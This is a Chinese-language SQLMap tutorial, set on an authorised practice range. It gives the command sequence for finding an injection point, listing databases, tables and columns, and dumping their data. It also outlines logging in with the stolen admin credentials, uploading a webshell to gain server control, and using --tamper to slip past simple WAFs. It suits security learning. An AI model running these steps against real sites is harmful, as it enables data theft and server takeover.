
首先要明白SQL注入漏洞的原理把恶意的SQL代码通过网页输入框或URL参数拼接到网站的数据库查询语句中执行。SQLMap的本质SQLMap就是自动化寻找并利用SQL注入的工具。SQLMap的核心操作声明⚠️ 声明本文所有操作均在授权的在线靶场环境yijinglab中进行仅供安全学习交流。请勿在未授权的情况下对任何网站进行测试否则需承担相应法律责任。测试目标http://a5fa4ee523e3.target.yijinglab.com/article.php?id2这是一个授权靶场参数id是我们要测试的注入点1侦察判断是否有注入点sqlmap -u “要测试的网址“当你跑这个命令时sqlmap 检测出注入点后会自动提示三种可能的注入技术通常会是Boolean-based blind布尔盲注Time-based blind时间盲注UNION query联合查询这些就是 sqlmap 判断出目标可以利用的注入类型。这里有一个最重要的操作习惯当 sqlmap 问你要不要继续测试其他参数时全部按回车选默认的 Y。2探路列出数据库的库名sqlmap -u ”要测试的网站“ --dbs3搜刮列出目标库里的表名sqlmap -u ”要检测的网址“ -D 数据库名 --tables4掏空列出目标表的列名sqlmap -u 要检测的网址 -D 数据库名 -T 数据表名字 --columns5收割导出指定列的数据或者导出指定表的数据sqlmap -u 要检测的网址 -D 数据库名 -T 数据表名 --dumpsqlmap -u 要检测的网址 -D 数据库名 -T 数据表名 -C 列名 --dump--dump导出数据6后续利用登录网站后台文件上传漏洞通过 SQL 注入获取的管理员账号登录网站后台寻找文件上传功能尝试上传 Webshell如一句话木马进而获取服务器控制权限。此部分涉及文件上传漏洞后续文章会详细讲解SQLMap 的适用范围它擅长做什么注入类型为什么擅长深层原因联合查询注入这类注入就是通过 URL 参数或表单提交的sqlmap 能自动完成猜列数、找显位、取数据的完整链条。报错注入MySQL、MSSQL 等主流数据库都有独特的报错函数sqlmap 内置了完整的报错 Payload 库能自动调用并解析结果。布尔盲注页面内容因注入而不同比如正常/异常这正是布尔盲注的判定依据机器最擅长这种是/否的重复判断。时间盲注/暴力破解配合--tamper绕过简单 WAF本质是用高频并发代替人工的缓慢试错。时间盲注虽然慢但机器能不眠不休地跑完。一句话总结只要是标准的 SQL 数据库代码存在SQL语句拼接错误sqlmap 就能自动完成检测、利用、数据提取的全流程。SQLMap 的局限性它搞不定什么漏洞类型为什么搞不定根因分析业务逻辑漏洞这类漏洞是业务功能设计有缺陷不是SQL语句拼接错误。SQL 代码本身没问题所以 sqlmap 测试不出任何异常。Token校验/多步骤操作sqlmap 把每次请求当成独立测试单元无法维持先取 Token 再提交这种有依赖关系的跨请求状态。所有类型注入都可能被挡sqlmap 的攻击流量特征太明显高频、带特殊字符会触发 WAF 的行为分析和特征匹配规则直接被封 IP。非主流数据库注入sqlmap 的 Payload 库和解析器是针对主流数据库写的遇到自研数据库或生僻语法它没有对应的攻击模板。时间盲注特殊场景在物理延时场景下每个字符都要等固定秒数机器无法加速这个过程反而因机械化猜解比人工定向爆破更慢。一句话总结sqlmap 只能打代码层的 SQL 语法拼接错误面对业务逻辑缺陷、交互流程障碍、高强度的防御、非标准数据库这四座大山它是一件完全错误的工具。